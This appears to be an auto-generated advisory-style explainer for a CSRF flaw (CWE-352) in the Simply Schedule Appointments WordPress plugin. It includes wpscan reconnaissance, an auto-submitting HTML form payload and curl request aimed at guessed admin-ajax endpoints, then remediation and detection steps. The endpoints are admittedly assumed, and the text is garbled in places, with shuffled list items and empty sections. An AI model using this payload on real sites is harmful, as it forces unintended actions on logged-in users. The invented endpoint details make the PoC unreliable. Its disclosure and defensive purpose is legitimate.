CVE-2026-135996 — CWE-352
Cross-Site Request Forgery (CSRF) vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Cross Site Request Forgery.This issue affects Simply Schedule Appointments: from n/a before 1.6.13.11.
Cross-Site Request Forgery (CSRF) vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Cross Site Request Forgery.This issue affects Simply Schedule Appointments: from n/a before 1.6.13.11.
🎯 What is this vulnerability?
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw (CWE-352) in the NSquared Simply Schedule Appointments WordPress plugin, specifically affecting versions prior to 1.6.13.11.
Technical Flaw Analysis
The core issue is the absence of anti-CSRF tokens (or insufficient validation of such tokens) on state-changing endpoints within the plugin.1. Missing State Validation: The plugin relies on session cookies for authentication but fails to verify that the request originated from a legitimate form submitted by the user. It does not check for a unique, unpredictable token (nonce) that is bound to the user's session and the specific action.
2. Browser Behavior: Browsers automatically attach session cookies to requests sent to the same origin. An attacker can exploit this by crafting a malicious HTML page that triggers HTTP requests (GET or POST) to the vulnerable plugin's endpoints.
3. Impact Scope: Since the CVSS vector indicates PR:N (No Privileges Required) and UI:R (User Interaction Required), an unauthenticated attacker can force a logged-in user (potentially an administrator) to perform actions on their behalf. This could include:
* Changing appointment settings.
* Modifying user roles or permissions (if the plugin exposes such endpoints).
* Deleting or altering appointment data.
* Potentially triggering other plugin functions if the CSRF token is missing on critical admin-ajax or REST API endpoints.
Note: The exact endpoint URI is not specified in the CVE description. The following analysis assumes typical WordPress plugin structures (e.g.,admin-ajax.phpor REST API routes like/wp-json/simply-schedule/v1/...).
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies the target WordPress site and confirms the presence of the
simply-schedule-appointmentsplugin.
Method*: Check - Version Verification: Confirm the version is
< 1.6.13.11. - Endpoint Mapping: Identify state-changing endpoints. Common targets in WordPress plugins: *
wp-content/plugins/simply-schedule-appointments/readme.txt or style.css for version info.
Tool*: wpscan --url https://target.com --enumerate p
/?action=simply_schedule_update_settings
* /wp-admin/admin-ajax.php?action=simply_schedule_save_appointment
* REST API: /wp-json/simply-schedule/v1/appointments2. Exploitation
The attacker crafts a malicious HTML page that, when visited by a logged-in WordPress user (e.g., an admin), automatically submits a request to the vulnerable endpoint.Illustrative PoC (HTML Payload):
<!DOCTYPE html>
<html>
<body>
<h1>Malicious Page</h1>
<!--
This form auto-submits to the WordPress admin-ajax endpoint.
The action 'simply_schedule_delete_appointment' is an illustrative example.
In reality, the attacker would target an endpoint that modifies critical settings or data.
-->
<form id="csrfForm" action="https://target.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="simply_schedule_delete_appointment" />
<input type="hidden" name="appointment_id" value="123" />
<!-- Note: No CSRF token is included. If the plugin doesn't validate one, this succeeds. -->
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>curl Equivalent (for testing if you have a valid session cookie):
# Replace SESSION_COOKIE with a valid WordPress session cookie
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_abc123=valid_session_token" \
-d "action=simply_schedule_delete_appointment&appointment_id=123"3. Post-Exploitation
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade
simply-schedule-appointments plugin to version 1.6.13.11 or later.# Via WP-CLI
wp plugin update simply-schedule-appointments2. Workarounds (If Immediate Update is Not Possible)
Referer header is missing/suspicious.# Example ModSecurity Rule (Illustrative)
SecRule REQUEST_URI "@rx /wp-admin/admin-ajax.php" \
"id:100001,phase:2,deny,status:403,msg:'CSRF Protection: Missing Token',log"Note: This is a broad rule. A more precise rule would check for the specific action parameter and the absence of a nonce.
wp plugin deactivate simply-schedule-appointments3. Detection
admin-ajax.php or REST API endpoints with actions related to simply_schedule from IPs that do not match the user's usual location or user-agent.grep "action=simply_schedule" /var/log/apache2/access.logwp_ssa_appointments table (or equivalent).